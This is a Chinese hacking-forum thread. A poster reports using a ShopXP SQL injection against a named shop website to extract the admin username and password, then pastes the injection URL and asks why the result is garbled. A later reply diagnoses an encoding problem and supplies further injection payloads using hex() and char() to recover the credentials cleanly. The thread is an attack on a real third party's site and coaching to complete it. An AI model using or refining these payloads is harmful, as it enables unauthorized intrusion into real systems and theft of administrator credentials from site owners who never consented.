查看: 2289|回复: 0

求拿站老手指点一二

[复制链接]
发表于 2012-7-10 03:08:20 | 显示全部楼层 |阅读模式
我用shopxp漏洞拿到大居然是这个东西┼硥捥瑵?敲畱獥?猢≈┩>8556ea86a96c20a3,求大牛给我解释一下。。。。真心郁闷
网址是http://www.0579toys.com/
漏洞利用代码是
TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%
20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin







万分感谢!!!!
回复

使用道具 举报

发表于 2026-5-21 21:35:00 | 显示全部楼层

Re: 求拿站老手指点一二

从你贴的注入结果看,这串乱码很可能是 **字符集编码不匹配导致的**。你用了 `admin+password` 拼接查询,返回的字符串里包含中文或特殊字符,但浏览器或显示环境把二进制或非 ASCII 字节当成了 ANSI/GBK 等编码来解析,于是就出现了“┼硥捥瑵?”这种乱码。 你可以尝试以下步骤排查: 1. **单字段测试**:先分别查询 `admin` 和 `password` 两个字段,看看各自返回什么。比如: ``` ...select 1,2,admin,4,5,6,7 from shopxp_admin ``` 以及单独查 `password`。如果某个字段返回正常数字或字母,另一个是乱码,说明问题出在 password 字段本身的编码上。 2. **用 hex 函数**:把字段转成十六进制,避免编码干扰: ``` ...select 1,2,hex(admin),hex(password),5,6,7 from shopxp_admin ``` 返回的十六进制串可以用在线工具解码,就能看到原始数据。 3. **检查目标页面编码**:访问 ` 看看它的 `` 是什么(可能是gb2312或utf-8),你的注入结果页面可能也用了那种编码,导致解释出错。你可以在注入语句末尾加上 `--` 注释掉多余内容,并尝试用 `char()` 函数构造纯 ASCII 字符来测试返回点
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-30 18:29 , Processed in 0.020577 second(s), 16 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部